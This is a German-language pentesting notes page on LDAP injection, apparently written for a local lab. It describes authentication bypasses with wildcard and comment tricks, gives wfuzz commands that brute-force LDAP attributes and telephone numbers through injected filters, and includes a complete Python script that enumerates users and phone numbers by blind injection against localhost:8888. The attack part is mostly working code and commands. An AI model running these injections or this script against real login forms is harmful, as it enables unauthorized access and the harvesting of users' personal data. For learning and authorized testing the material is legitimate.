> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md).

# LDAP-Techniken

Hier sind einige Möglichkeiten, diese Schwachstelle auszunutzen:

1. Wenn man die **Benutzer-ID** und das Symbol /\* als Passwort verwendet (das für alles steht):

<figure><img src="/files/be0c208c76b139b3cbdc7b80bc645bacd7379f08" alt="" width="517"><figcaption></figcaption></figure>

2. Wenn man die **Anfang der Benutzer-ID** und indem man dann das Symbol /\* hinzufügt:

<figure><img src="/files/9ccf9d6843d56af58d3aee4d9651837fd0718717" alt=""><figcaption></figcaption></figure>

3. Durch Eingabe einer **gültigen Benutzer-ID** und indem man das erforderliche Passwort-Feld der Abfrage auskommentiert:

<figure><img src="/files/dddf6da34e0a1c127a79fc4eeb4d787bfb8a6bb7" alt=""><figcaption></figcaption></figure>

## Brute-Force-Angriff:

* Mit **Wfuzz**, können wir einen Angriff durchführen, indem wir **Brute Force** um alle **Attribute**:

```bash
wfuzz -c --hh=550 -w /usr/share/SecLists/Fuzzing/LDAP-openldap-attributes.txt -d 'user_id=admin)(FUZZ=*))%00&password=*&login=1&submit=Submit' http://localhost:8888

```

<figure><img src="/files/176701158157a0a5ead12cc5517636c911541110" alt="" width="375"><figcaption></figcaption></figure>

Sobald wir die Attribute mit **Wfuzz** und den **LDAP** Einfügestelle im Passwortfeld kennen, können wir nach dem ersten Zeichen filtern. In diesem Fall tun wir das mit der **Telefonnummer**:

```bash
wfuzz -c --hh=550 -z range,0-9 -d 'user_id=jordan)(telephoneNumber=FUZZ*))%00&password=*&login=1&submit=Submit' http://localhost:8888

```

<figure><img src="/files/ac3ddf448e7eac3f5d42f0fc00ab93330f844b63" alt="" width="507"><figcaption></figcaption></figure>

## Automatisiertes Python-Skript:

```python
#!/usr/bin/python3
from pwn import *
import sys, signal, time, requests, pdb
import string
def def_handler(sig, frame):
    print("/n/n[+] Beenden.../n")
    sys.exit(1)
# LDAP-Techniken
signal.signal(signal.SIGINT, def_handler)
# LDAP-Techniken
main_url = "http://localhost:8888/"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
def initial_users():
    characters = string.ascii_lowercase
    initial_users = []
    for character in characters:
        post_data = 'user_id={}*&password=*&login=1&submit=Submit'.format(character)
        r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
        if r.status_code == 301:
            initial_users.append(character)
    return initial_users
def getUsers(initial_users):
    characters = string.ascii_lowercase + string.digits
    users = []
    for initial_user in initial_users:
        user = initial_user
        for i in range(0, 15):
            for character in characters:
                post_data = 'user_id={}{}*&password=*&login=1&submit=Submit'.format(user, character)
                r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
                if r.status_code == 301:
                    user += character
                    break
        users.append(user)
    print("/n")
    for user in users:
        log.info('Gültiger Benutzer gefunden: %s' % user)
    print("/n")
    return users
def getTelephoneNumber(users):
    characters = string.digits
    telephone_numbers = []
    p1 = log.progress("Abrufen von Telefonnummern aus lokalem LDAP")
    p1.status("Brute-Force-Angriff wird gestartet")
    p2 = log.progress("Abrufen der Telefonnummer")
    for user in users:
        telf = ''
        for i in range(0, 9):
            for character in characters:
                post_data = 'user_id={})(telephoneNumber={}{}*))%00&password=testing&login=1&submit=Submit'.format(user, telf, character)
                r = requests.post(main_url, data=post_data, headers=headers, allow_redirects=False)
                p1.status("[+] Telefonnummer für den Benutzer wird abgerufen: %s | %s" % (user, post_data))
                if r.status_code == 301:
                    telf += character
                    p2.status("Telefonnummer: %s" % telf)
                    break
        telephone_numbers.append(telf)
    p2.success("Die erhaltenen Nummern sind: %s " % telephone_numbers)
if __name__ == "__main__":
    initial_users = initial_users()
    getUsers = getUsers(initial_users)
    getTelephoneNumber = getTelephoneNumber(getUsers)

```

<figure><img src="/files/030c024417737ce3f75ef10e6c5178e8a856dbcb" alt=""><figcaption></figcaption></figure>


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